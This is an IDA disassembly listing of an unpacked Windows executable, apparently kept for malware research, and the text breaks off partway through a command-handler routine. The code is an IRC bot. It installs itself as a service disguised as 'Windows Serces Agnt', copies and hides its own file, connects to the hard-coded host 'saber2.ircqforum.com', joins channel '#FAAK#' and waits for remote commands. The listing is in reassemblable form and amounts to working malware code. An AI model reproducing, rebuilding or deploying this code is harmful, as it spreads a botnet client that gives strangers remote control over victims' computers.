;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	9417D4D4F81400D3ECDA51ED532734DB

; File Name   :	u:\work\9417d4d4f81400d3ecda51ed532734db_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 000DE000 ( 909312.)
; Section size in file		: 000DE000 ( 909312.)
; Offset to raw	data for section: 00001000
; Flags	E0000040: Data Executable Readable Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
___		segment	para public 'CODE' use32
		assume cs:___
		;org 401000h
		assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401000	proc near		; CODE XREF: ___:00401579p
					; sub_4188A6+1Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, offset dword_429050
		xor	esi, esi
		mov	ebx, offset aWindowsSercesA ; "Windows Serces Agnt"

loc_401013:				; CODE XREF: sub_401000+69j
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		push	esi
		push	0F003Fh
		push	esi
		push	esi
		push	esi
		push	dword ptr [edi+4]
		push	dword ptr [edi]
		call	dword_4CB998
		cmp	[ebp+arg_0], esi
		jz	short loc_40104D
		push	[ebp+arg_0]
		call	sub_41B9C0
		pop	ecx
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	ebx
		push	[ebp+var_4]
		call	dword_4CBA08
		jmp	short loc_401057
; ---------------------------------------------------------------------------

loc_40104D:				; CODE XREF: sub_401000+2Fj
		push	ebx
		push	[ebp+var_4]
		call	dword_4CB948

loc_401057:				; CODE XREF: sub_401000+4Bj
		push	[ebp+var_4]
		call	dword_4CB9C0
		add	edi, 8
		cmp	edi, offset dword_429068
		jb	short loc_401013
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_401000	endp


; =============== S U B	R O U T	I N E =======================================



sub_401070	proc near		; CODE XREF: sub_4010AB+56p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_0]
		push	esi
		or	esi, 0FFFFFFFFh
		test	eax, eax
		jz	short loc_4010A5
		push	ebx
		push	edi
		lea	edi, [eax]
		mov	ecx, 0FFh

loc_401089:				; CODE XREF: sub_401070+31j
		mov	al, [edx]
		mov	ebx, esi
		and	eax, ecx
		and	ebx, ecx
		xor	eax, ebx
		shr	esi, 8
		mov	eax, dword_427220[eax*4]
		xor	esi, eax
		inc	edx
		dec	edi
		jnz	short loc_401089
		pop	edi
		pop	ebx

loc_4010A5:				; CODE XREF: sub_401070+Ej
		mov	eax, esi
		pop	esi
		not	eax
		retn
sub_401070	endp


; =============== S U B	R O U T	I N E =======================================



sub_4010AB	proc near		; CODE XREF: ___:004169EAp

var_10		= dword	ptr -10h
arg_0		= dword	ptr  4

		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		push	ebx
		call	sub_41BEB5
		mov	[esp+10h+var_10], offset dword_429068
		push	[esp+10h+arg_0]
		mov	esi, eax
		call	sub_41BEA2
		mov	edi, eax
		pop	ecx
		test	edi, edi
		pop	ecx
		jz	short loc_4010FA

loc_4010D0:				; CODE XREF: sub_4010AB+4Dj
		test	byte ptr [edi+0Ch], 10h
		jnz	short loc_4010FE
		inc	ebx
		push	ebx
		push	esi
		call	sub_41BBE2
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_4010FA
		push	edi
		push	1
		lea	eax, [esi+ebx-1]
		push	1
		push	eax
		call	sub_41BAFA
		add	esp, 10h
		jmp	short loc_4010D0
; ---------------------------------------------------------------------------

loc_4010FA:				; CODE XREF: sub_4010AB+23j
					; sub_4010AB+39j
		xor	eax, eax
		jmp	short loc_401119
; ---------------------------------------------------------------------------

loc_4010FE:				; CODE XREF: sub_4010AB+29j
		dec	ebx
		push	ebx
		push	esi
		call	sub_401070
		push	esi
		mov	ebx, eax
		call	sub_41BA91
		push	edi
		call	sub_41BA3B
		add	esp, 10h
		mov	eax, ebx

loc_401119:				; CODE XREF: sub_4010AB+51j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4010AB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40111D	proc near		; DATA XREF: ___:00401235o

var_268		= dword	ptr -268h
var_25C		= byte ptr -25Ch
var_158		= byte ptr -158h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_28		= dword	ptr -28h
var_24		= word ptr -24h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 25Ch
		push	ebx
		push	esi
		push	edi
		push	dword_43E92C
		call	dword_4CBA7C
		call	sub_40B583
		call	dword_4CB93C
		call	dword_4CB93C
		mov	ebx, dword_427080
		push	64h
		call	ebx
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_41BF70
		push	44h
		lea	eax, [ebp+var_54]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_41BF70
		add	esp, 18h
		mov	[ebp+var_54], esi
		mov	esi, 104h
		lea	eax, [ebp+var_25C]
		push	esi
		push	eax
		mov	[ebp+var_48], offset byte_43DB98
		mov	[ebp+var_28], 1
		mov	[ebp+var_24], di
		nop
		call	near ptr 2680A31h
		lea	eax, [ebp+var_158]
		push	esi
		push	eax
		push	edi
		call	near ptr 2680000h
		nop
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_54]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	edi
		push	28h
		push	1
		push	edi
		lea	eax, [ebp+var_158]
		push	edi
		push	eax
		push	edi
		nop
		call	near ptr 2670345h
		test	eax, eax
		jz	short loc_4011E2
		push	64h
		call	ebx
		push	[ebp+var_10]
		mov	esi, dword_427070
		call	esi
		push	[ebp+var_C]
		call	esi

loc_4011E2:				; CODE XREF: sub_40111D+AFj
		mov	eax, [ebp+arg_8]
		mov	dword ptr [eax+0B0h], offset dword_43DB90
		mov	eax, [esp+268h+var_268]
		mov	large fs:0, eax
		add	esp, 8
		push	edi
		nop
		call	near ptr 77E75CB5h
		pop	edi
		pop	esi
		pop	ebx

loc_401205:				; DATA XREF: ___:00429004o
		jmp	$+5
		push	0FFFFh
		push	539h
		call	sub_418BD1
		pop	ecx
		mov	dword_4CB720, eax
		pop	ecx
		retn
sub_40111D	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 988h
		push	ebx
		xor	ebx, ebx
		push	esi
		push	edi
		mov	[ebp-8], ebx
		mov	[ebp-0Ch], ebx
		mov	dword ptr [ebp-4], offset sub_40111D
		push	dword ptr [ebp-4]
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		mov	esi, dword_4270B0
		call	esi
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	dword_4CB724, eax
		call	esi
		push	eax
		call	sub_41C2B8
		pop	ecx
		call	sub_409909
		push	2
		call	dword_4CBA90
		push	7530h
		push	offset aDark	; "Dark"
		push	ebx
		push	ebx
		call	near ptr 26A026Ch
		nop
		push	eax
		nop
		call	near ptr 26A0195h
		cmp	eax, 102h
		jnz	short loc_4012A1
		push	1
		call	near ptr 77E75CB5h
		nop

loc_4012A1:				; CODE XREF: ___:00401297j
		lea	eax, [ebp-884h]
		push	eax
		push	202h
		call	dword_4CB954
		cmp	eax, ebx
		jnz	loc_4017E4
		cmp	byte ptr [ebp-884h], 2
		jnz	loc_4017DE
		xor	eax, eax
		mov	al, [ebp-883h]
		cmp	al, 2
		jnz	loc_4017DE
		mov	esi, 104h
		lea	eax, [ebp-3F0h]
		push	esi
		push	eax
		nop
		call	near ptr 2680A31h
		lea	eax, [ebp-2ECh]
		push	esi
		push	eax
		push	ebx
		call	near ptr 26A0000h
		nop
		push	eax
		nop
		call	near ptr 2680000h
		lea	eax, [ebp-4F0h]
		push	eax
		lea	eax, [ebp-6F4h]
		push	eax
		push	ebx
		lea	eax, [ebp-2ECh]
		push	ebx
		push	eax
		call	sub_41C3B1
		add	esp, 14h
		lea	eax, [ebp-4F0h]
		push	eax
		lea	eax, [ebp-6F4h]
		push	eax
		push	offset dword_429ACC
		lea	eax, [ebp-5F4h]
		push	esi
		push	eax
		call	sub_41C360
		lea	eax, [ebp-3F0h]
		push	eax
		lea	eax, [ebp-2ECh]
		push	eax
		call	sub_41C2E0
		add	esp, 1Ch
		test	eax, eax
		jnz	loc_401516
		cmp	dword_42908C, ebx
		mov	esi, offset byte_42910C
		jz	short loc_40139C
		push	esi
		xor	edi, edi
		call	sub_41B9C0
		sub	eax, 4
		pop	ecx
		jz	short loc_40139C

loc_401379:				; CODE XREF: ___:0040139Aj
		call	sub_41C2C2
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		push	esi
		add	dl, 61h
		mov	byte_42910C[edi], dl
		inc	edi
		call	sub_41B9C0
		sub	eax, 4
		pop	ecx
		cmp	edi, eax
		jb	short loc_401379

loc_40139C:				; CODE XREF: ___:00401369j
					; ___:00401377j
		lea	eax, [ebp-3F0h]
		push	esi
		push	eax
		lea	eax, [ebp-1E8h]
		push	offset dword_429AC4
		push	eax
		call	sub_41C266
		add	esp, 10h
		lea	eax, [ebp-1E8h]
		push	eax
		call	near ptr 2690E3Bh
		nop
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4013DC
		lea	eax, [ebp-1E8h]
		push	80h
		push	eax
		nop
		call	near ptr 2690CF1h

loc_4013DC:				; CODE XREF: ___:004013C8j
		mov	esi, dword_427098
		lea	eax, [ebp-1E8h]
		push	ebx
		push	eax
		lea	eax, [ebp-2ECh]
		xor	edi, edi
		push	eax

loc_4013F3:				; CODE XREF: ___:0040142Aj
		call	esi
		test	eax, eax
		jnz	short loc_40142C
		nop
		call	near ptr 269096Bh
		cmp	edi, ebx
		jnz	short loc_40142C
		cmp	eax, 20h
		jz	short loc_40140D
		cmp	eax, 5
		jnz	short loc_40142C

loc_40140D:				; CODE XREF: ___:00401406j
		push	1
		pop	edi
		push	3A98h
		nop
		call	near ptr 2680F3Dh
		lea	eax, [ebp-1E8h]
		push	ebx
		push	eax
		lea	eax, [ebp-2ECh]
		push	eax
		jmp	short loc_4013F3
; ---------------------------------------------------------------------------

loc_40142C:				; CODE XREF: ___:004013F7j
					; ___:00401401j ...
		lea	eax, [ebp-1E8h]
		push	eax
		call	sub_4187E0
		pop	ecx
		lea	eax, [ebp-1E8h]
		push	7
		push	eax
		nop
		call	near ptr 2690CF1h
		push	10h
		lea	eax, [ebp-20h]
		push	ebx
		push	eax
		call	sub_41BF70
		push	44h
		lea	eax, [ebp-0E4h]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 18h
		mov	[ebp-0E4h], esi
		mov	dword ptr [ebp-0D8h], offset byte_43DB98
		mov	[ebp-0B4h], bx
		push	1
		pop	esi
		mov	[ebp-0B8h], esi
		call	near ptr 269090Ch
		nop
		push	eax
		push	esi
		push	100000h

loc_401495:				; DATA XREF: ___:off_4330A4o
		nop
		call	near ptr 269027Fh
		lea	ecx, [ebp-2ECh]
		push	ecx
		push	eax
		lea	eax, [ebp-1E8h]
		push	eax
		lea	eax, [ebp-988h]
		push	offset dword_429AB8
		push	eax
		call	sub_41C266
		add	esp, 14h
		lea	eax, [ebp-20h]
		push	eax
		lea	eax, [ebp-0E4h]
		push	eax
		lea	eax, [ebp-3F0h]
		push	eax
		push	ebx
		push	28h
		push	esi
		push	ebx
		lea	eax, [ebp-988h]
		push	ebx
		push	eax
		lea	eax, [ebp-1E8h]
		push	eax
		call	near ptr 2670345h
		nop
		test	eax, eax
		jz	short loc_401516
		push	0C8h
		call	near ptr 2680F3Dh
		nop
		push	dword ptr [ebp-20h]
		mov	esi, dword_427070
		call	esi
		push	dword ptr [ebp-1Ch]
		call	esi
		call	dword_4CB93C
		push	ebx
		call	near ptr 77E75CB5h
		nop

loc_401516:				; CODE XREF: ___:00401358j
					; ___:004014ECj
		cmp	dword_4DBE08, 2
		jle	short loc_401562
		mov	eax, dword_4DBE0C
		push	dword ptr [eax+4]
		call	sub_41C159
		pop	ecx
		mov	esi, eax
		push	0FFFFFFFFh
		push	esi
		nop
		call	near ptr 26A0195h
		push	esi
		nop
		call	near ptr 2670000h
		mov	eax, dword_4DBE0C
		cmp	[eax+8], ebx
		jz	short loc_401562
		push	7D0h
		nop
		call	near ptr 2680F3Dh
		mov	eax, dword_4DBE0C
		push	dword ptr [eax+8]
		nop
		call	near ptr 26901DFh

loc_401562:				; CODE XREF: ___:0040151Dj
					; ___:00401547j
		cmp	dword_429090, ebx
		jz	short loc_40157F
		cmp	dword_4CBAB4, ebx
		jnz	short loc_40157F
		lea	eax, [ebp-5F4h]
		push	eax
		call	sub_401000
		pop	ecx

loc_40157F:				; CODE XREF: ___:00401568j
					; ___:00401570j
		lea	eax, [ebp-0A0h]
		push	offset dword_429A9C
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp-0A0h]
		push	ebx
		push	eax
		call	sub_40B3BA
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_415D38
		push	0B80h
		push	ebx
		push	offset dword_43DBA0
		call	sub_41BF70
		add	esp, 24h
		lea	eax, [ebp-0A0h]
		push	offset unk_429A78
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp-0A0h]
		push	1
		push	eax
		call	sub_40B3BA
		add	esp, 14h
		mov	esi, eax
		mov	edi, dword_427084
		lea	eax, [ebp-8]
		push	eax
		push	ebx
		push	ebx
		push	offset byte_419F4D
		push	ebx
		push	ebx
		call	edi
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_43E934[esi], eax
		jnz	short loc_401622
		call	near ptr 269096Bh
		nop
		push	eax
		lea	eax, [ebp-0A0h]
		push	offset unk_429A38
		push	eax
		call	sub_41C266
		add	esp, 0Ch

loc_401622:				; CODE XREF: ___:00401605j
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_415D38
		push	2
		call	sub_40B602
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4016A7
		lea	eax, [ebp-0A0h]
		push	offset dword_429A0C
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp-0A0h]
		push	2
		push	eax
		call	sub_40B3BA
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp-8]
		push	eax
		push	ebx
		push	esi
		push	offset loc_410BFD
		push	ebx
		push	ebx
		call	edi
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_43E934[esi], eax
		jnz	short loc_40169A
		call	near ptr 269096Bh
		nop
		push	eax
		lea	eax, [ebp-0A0h]
		push	offset dword_4299D8
		push	eax
		call	sub_41C266
		add	esp, 0Ch

loc_40169A:				; CODE XREF: ___:0040167Dj
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_415D38
		pop	ecx

loc_4016A7:				; CODE XREF: ___:00401639j
		call	sub_41C2C2
		push	7Fh
		and	eax, 3
		push	offset aSaber2_ircqfor ; "saber2.ircqforum.com"
		push	offset dword_4CB72C
		mov	dword_4CB898, eax
		call	sub_41BFD0
		mov	eax, dword_42906C
		push	3Fh
		mov	edi, offset dword_4CB7AC
		push	offset aFaak	; "#FAAK#"
		push	edi
		mov	dword_4CB87C, eax
		call	sub_41BFD0
		push	3Fh
		mov	esi, offset dword_4CB7EC
		push	offset aSaad_	; "saad."
		push	esi
		call	sub_41BFD0
		add	esp, 24h
		mov	dword_4CB880, ebx

loc_4016FC:				; CODE XREF: ___:00401784j
					; ___:0040178Fj ...
		mov	[ebp-4], ebx

loc_4016FF:				; CODE XREF: ___:00401738j
		push	offset dword_4CB728
		mov	dword_4CB894, ebx
		call	sub_4017ED
		cmp	eax, 2
		mov	[ebp-10h], eax
		jz	loc_4017D9
		cmp	dword_4CB894, ebx
		jz	short loc_401726
		dec	dword ptr [ebp-4]

loc_401726:				; CODE XREF: ___:00401721j
		push	0BB8h
		nop
		call	near ptr 2680F3Dh
		inc	dword ptr [ebp-4]
		cmp	dword ptr [ebp-4], 6
		jl	short loc_4016FF
		cmp	dword ptr [ebp-10h], 2
		jz	loc_4017D9
		cmp	[ebp-0Ch], ebx
		jz	short loc_401789
		push	7Fh
		push	offset aSaber2_ircqfor ; "saber2.ircqforum.com"
		push	offset dword_4CB72C
		call	sub_41BFD0
		mov	eax, dword_42906C
		push	3Fh
		push	offset aFaak	; "#FAAK#"
		push	edi
		mov	dword_4CB87C, eax
		call	sub_41BFD0
		push	3Fh
		push	offset aSaad_	; "saad."
		push	esi
		call	sub_41BFD0
		add	esp, 24h
		mov	[ebp-0Ch], ebx
		jmp	loc_4016FC
; ---------------------------------------------------------------------------

loc_401789:				; CODE XREF: ___:00401747j
		cmp	byte_4290E8, bl
		jz	loc_4016FC
		push	7Fh
		push	offset byte_4290E8
		push	offset dword_4CB72C
		call	sub_41BFD0
		mov	eax, dword_429070
		push	3Fh
		push	offset aFaak_0	; "#FAAK#"
		push	edi
		mov	dword_4CB87C, eax
		call	sub_41BFD0
		push	3Fh
		push	offset aSaad__0	; "saad."
		push	esi
		call	sub_41BFD0
		add	esp, 24h
		mov	dword ptr [ebp-0Ch], 1
		jmp	loc_4016FC
; ---------------------------------------------------------------------------

loc_4017D9:				; CODE XREF: ___:00401715j
					; ___:0040173Ej
		call	sub_40B583

loc_4017DE:				; CODE XREF: ___:004012C2j
					; ___:004012D2j
		call	dword_4CB93C

loc_4017E4:				; CODE XREF: ___:004012B5j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4017ED	proc near		; CODE XREF: ___:0040170Ap
					; DATA XREF: sub_401ACD+654Co

var_190		= dword	ptr -190h
var_18C		= byte ptr -18Ch
var_10C		= byte ptr -10Ch
var_CC		= byte ptr -0CCh
var_8C		= byte ptr -8Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_2C		= byte ptr -2Ch
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 190h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	59h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_190]
		rep movsd
		mov	dword ptr [eax+160h], 1

loc_401812:				; CODE XREF: sub_4017ED+E6j
					; sub_4017ED+136j ...
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_3C]
		call	dword_4CB9E4
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_18C]
		push	eax
		call	sub_40A8F0
		test	eax, eax
		pop	ecx
		mov	[ebp+var_C], eax
		jz	loc_40193F
		push	1Ch
		lea	eax, [ebp+var_2C]
		push	0
		push	eax
		call	sub_41BF70
		push	0
		lea	eax, [ebp+var_2C]
		push	dword_4290A0
		push	dword_42909C
		push	eax
		call	sub_40AE84
		mov	edi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	1Bh
		add	eax, offset byte_43E938
		push	edi
		push	eax
		call	sub_41BFD0
		add	esp, 28h
		push	6
		push	1
		push	2
		call	dword_4CBA64
		mov	esi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	10h
		mov	dword_43E92C[eax], esi
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	dword_4CB98C
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4018D8
		push	esi
		call	dword_4CBA7C
		call	sub_40A919
		push	7D0h

loc_4018CD:				; CODE XREF: sub_4017ED+146j
		nop
		call	near ptr 2680F3Dh
		jmp	loc_401812
; ---------------------------------------------------------------------------

loc_4018D8:				; CODE XREF: sub_4017ED+CDj
		lea	eax, [ebp+var_18C]
		push	eax
		push	offset unk_429AD4
		call	sub_415DAC
		push	[ebp+var_38]
		lea	eax, [ebp+var_18C]
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_CC]
		push	[ebp+var_190]
		push	edi
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_401955
		add	esp, 28h
		mov	edi, eax
		push	esi
		call	dword_4CBA7C
		test	edi, edi
		jz	loc_401812
		cmp	edi, 1
		jnz	short loc_401935
		push	0DBBA0h
		jmp	short loc_4018CD
; ---------------------------------------------------------------------------

loc_401935:				; CODE XREF: sub_4017ED+13Fj
		cmp	edi, 2
		jz	short loc_401943
		jmp	loc_401812
; ---------------------------------------------------------------------------

loc_40193F:				; CODE XREF: sub_4017ED+5Aj
		xor	eax, eax
		jmp	short loc_40194F
; ---------------------------------------------------------------------------

loc_401943:				; CODE XREF: sub_4017ED+14Bj
		push	[ebp+var_34]
		call	sub_40B6D6
		pop	ecx
		push	2
		pop	eax

loc_40194F:				; CODE XREF: sub_4017ED+154j
		pop	edi
		pop	esi
		leave
		retn	4
sub_4017ED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401955	proc near		; CODE XREF: sub_4017ED+123p

var_1A90	= byte ptr -1A90h
var_A90		= byte ptr -0A90h
var_2C0		= byte ptr -2C0h
var_140		= byte ptr -140h
var_A0		= byte ptr -0A0h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		mov	eax, 1A90h
		call	sub_41C500
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	3
		mov	[ebp+var_8], ebx
		lea	eax, [ebp+var_2C0]
		pop	ecx

loc_401973:				; CODE XREF: sub_401955+26j
		mov	[eax], bl
		add	eax, 80h
		dec	ecx
		jnz	short loc_401973
		cmp	byte_4CB890, bl
		jz	short loc_40199A
		push	offset byte_4CB890
		push	offset aPassS	; "PASS	%s\r\n"
		push	[ebp+arg_0]
		call	sub_409823
		add	esp, 0Ch

loc_40199A:				; CODE XREF: sub_401955+2Ej
		push	[ebp+arg_C]
		lea	eax, [ebp+var_20]
		push	ebx
		push	ebx
		push	2
		push	eax
		call	sub_40AE84
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_A0]
		push	[ebp+arg_C]
		push	offset aNickSUserS00S ;	"NICK %s\r\nUSER %s 0 0	:%s\r\n"
		push	eax
		call	sub_41C266
		add	esp, 14h
		lea	eax, [ebp+var_A0]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CBA34
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_401A04
		push	[ebp+arg_0]
		call	dword_4CBA7C
		push	1388h
		call	near ptr 2680F3Dh
		nop

loc_4019FD:				; CODE XREF: sub_401955+D9j
					; sub_401955+153j
		xor	eax, eax

loc_4019FF:				; CODE XREF: sub_401955+173j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_401A04:				; CODE XREF: sub_401955+92j
					; sub_401955+F8j ...
		mov	esi, 1000h
		lea	eax, [ebp+var_1A90]
		push	esi
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_1A90]
		push	ebx
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB9FC
		test	eax, eax
		jle	short loc_4019FD
		lea	eax, [ebp+var_A90]
		push	eax
		lea	eax, [ebp+var_1A90]
		push	eax
		call	sub_4184CC
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_4], ebx
		jle	short loc_401A04
		lea	edi, [ebp+var_A90]

loc_401A55:				; CODE XREF: sub_401955+165j
		push	1
		pop	esi

loc_401A58:				; CODE XREF: sub_401955+144j
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		lea	eax, [ebp+var_140]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	eax
		push	[ebp+arg_18]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	dword ptr [edi]
		call	sub_401ACD
		add	esp, 2Ch
		dec	eax
		mov	esi, eax
		cmp	esi, ebx
		jle	short loc_401A9B
		push	7D0h
		call	near ptr 2680F3Dh
		nop
		jmp	short loc_401A58
; ---------------------------------------------------------------------------

loc_401A9B:				; CODE XREF: sub_401955+137j
		cmp	esi, 0FFFFFFFDh
		jz	short loc_401AC5
		cmp	esi, 0FFFFFFFEh
		jz	short loc_401AC1
		cmp	esi, 0FFFFFFFFh
		jz	loc_4019FD
		inc	[ebp+var_4]
		add	edi, 4
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_C]
		jl	short loc_401A55
		jmp	loc_401A04
; ---------------------------------------------------------------------------

loc_401AC1:				; CODE XREF: sub_401955+14Ej
		push	1
		jmp	short loc_401AC7
; ---------------------------------------------------------------------------

loc_401AC5:				; CODE XREF: sub_401955+149j
		push	2

loc_401AC7:				; CODE XREF: sub_401955+16Ej
		pop	eax
		jmp	loc_4019FF
sub_401955	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401ACD	proc near		; CODE XREF: sub_401955+12Ap

var_568C	= byte ptr -568Ch
var_528C	= byte ptr -528Ch
var_50FC	= byte ptr -50FCh
var_4FF8	= byte ptr -4FF8h
var_4EF8	= byte ptr -4EF8h
var_4CF8	= byte ptr -4CF8h
var_4BF8	= byte ptr -4BF8h
var_4AF4	= byte ptr -4AF4h
var_49F4	= byte ptr -49F4h
var_48F0	= byte ptr -48F0h
var_47F0	= byte ptr -47F0h
var_46F0	= byte ptr -46F0h
var_45F0	= byte ptr -45F0h
var_458C	= byte ptr -458Ch
var_448C	= byte ptr -448Ch
var_438C	= byte ptr -438Ch
var_428C	= byte ptr -428Ch
var_408C	= byte ptr -408Ch
var_3F8C	= dword	ptr -3F8Ch
var_3F88	= byte ptr -3F88h
var_3F08	= byte ptr -3F08h
var_3E04	= byte ptr -3E04h
var_3D00	= dword	ptr -3D00h
var_3CFC	= dword	ptr -3CFCh
var_3CF8	= dword	ptr -3CF8h
var_3CF4	= dword	ptr -3CF4h
var_3CF0	= dword	ptr -3CF0h
var_3CEC	= dword	ptr -3CECh
var_3CE8	= byte ptr -3CE8h
var_3C68	= byte ptr -3C68h
var_3BE8	= byte ptr -3BE8h
var_3B68	= byte ptr -3B68h
var_3AE8	= byte ptr -3AE8h
var_3A68	= dword	ptr -3A68h
var_3A64	= dword	ptr -3A64h
var_3A60	= dword	ptr -3A60h
var_3A5C	= dword	ptr -3A5Ch
var_3A58	= byte ptr -3A58h
var_37D1	= byte ptr -37D1h
var_37D0	= byte ptr -37D0h
var_36CC	= dword	ptr -36CCh
var_36C4	= dword	ptr -36C4h
var_36C0	= dword	ptr -36C0h
var_36BC	= dword	ptr -36BCh
var_36B8	= dword	ptr -36B8h
var_36B0	= dword	ptr -36B0h
var_36AC	= dword	ptr -36ACh
var_36A8	= byte ptr -36A8h
var_3628	= byte ptr -3628h
var_35A8	= byte ptr -35A8h
var_3528	= byte ptr -3528h
var_34A8	= dword	ptr -34A8h
var_34A4	= dword	ptr -34A4h
var_34A0	= dword	ptr -34A0h
var_349C	= dword	ptr -349Ch
var_3498	= dword	ptr -3498h
var_3494	= byte ptr -3494h
var_3414	= byte ptr -3414h
var_3394	= byte ptr -3394h
var_3314	= byte ptr -3314h
var_3294	= dword	ptr -3294h
var_3290	= dword	ptr -3290h
var_328C	= dword	ptr -328Ch
var_3288	= dword	ptr -3288h
var_3284	= dword	ptr -3284h
var_3280	= byte ptr -3280h
var_3200	= byte ptr -3200h
var_3180	= byte ptr -3180h
var_3100	= byte ptr -3100h
var_3080	= dword	ptr -3080h
var_307C	= dword	ptr -307Ch
var_3078	= dword	ptr -3078h
var_3074	= dword	ptr -3074h
var_3070	= dword	ptr -3070h
var_306C	= byte ptr -306Ch
var_2FEC	= byte ptr -2FECh
var_2F6C	= byte ptr -2F6Ch
var_2EEC	= byte ptr -2EECh
var_2E6C	= dword	ptr -2E6Ch
var_2E68	= dword	ptr -2E68h
var_2E64	= dword	ptr -2E64h
var_2E60	= dword	ptr -2E60h
var_2E5C	= byte ptr -2E5Ch
var_2D58	= dword	ptr -2D58h
var_2D54	= byte ptr -2D54h
var_2C50	= byte ptr -2C50h
var_2B4C	= dword	ptr -2B4Ch
var_2B48	= dword	ptr -2B48h
var_2B44	= dword	ptr -2B44h
var_2B40	= byte ptr -2B40h
